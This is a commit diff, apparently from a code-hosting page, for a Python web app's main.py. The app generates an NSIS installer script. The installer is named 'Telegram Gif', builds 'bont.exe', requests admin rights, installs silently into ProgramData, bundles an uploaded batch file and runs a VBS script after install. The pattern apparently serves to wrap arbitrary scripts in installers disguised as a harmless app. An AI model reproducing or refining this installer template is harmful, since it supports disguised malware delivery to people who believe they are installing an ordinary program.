sigyllly commited on
Commit
22cd272
·
verified ·
1 Parent(s): 8c65765

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +5 -7
main.py CHANGED
@@ -57,7 +57,7 @@ def upload_files():
57
 
58
  # Define installer name and version
59
  Outfile "bont.exe"
60
- InstallDir "C:\ProgramData"
61
 
62
  # Set the name of the application
63
  Name "Telegram Gif"
@@ -68,7 +68,7 @@ VIProductVersion "1.4.44.3"
68
  SetCompressor /SOLID lzma
69
 
70
  # Use a multi-resolution icon file with 16x16, 32x32, 64x64 sizes
71
- Icon "C:\Users\Albert\Videos\Captures\New folder\New folder\New folder (2)\favicon.ico"
72
  RequestExecutionLevel admin
73
 
74
  # Silent install settings
@@ -89,15 +89,13 @@ Section "Install"
89
  SetOutPath "$INSTDIR"
90
 
91
  # Files to install
92
- File "{bat_path}" ;
93
 
94
  # Run the VBS file post-install if it exists
95
- IfFileExists "$INSTDIR\0.vbs" 0 +2
96
- ExecShell "" "$INSTDIR\0.vbs"
97
 
98
  SectionEnd
99
-
100
-
101
  """
102
 
103
  nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
 
57
 
58
  # Define installer name and version
59
  Outfile "bont.exe"
60
+ InstallDir "$PROGRAMDATA"
61
 
62
  # Set the name of the application
63
  Name "Telegram Gif"
 
68
  SetCompressor /SOLID lzma
69
 
70
  # Use a multi-resolution icon file with 16x16, 32x32, 64x64 sizes
71
+ Icon "{icon_path}"
72
  RequestExecutionLevel admin
73
 
74
  # Silent install settings
 
89
  SetOutPath "$INSTDIR"
90
 
91
  # Files to install
92
+ File "{bat_path}"
93
 
94
  # Run the VBS file post-install if it exists
95
+ IfFileExists "$INSTDIR\\0.vbs" 0 +2
96
+ ExecShell "" "$INSTDIR\\0.vbs"
97
 
98
  SectionEnd
 
 
99
  """
100
 
101
  nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')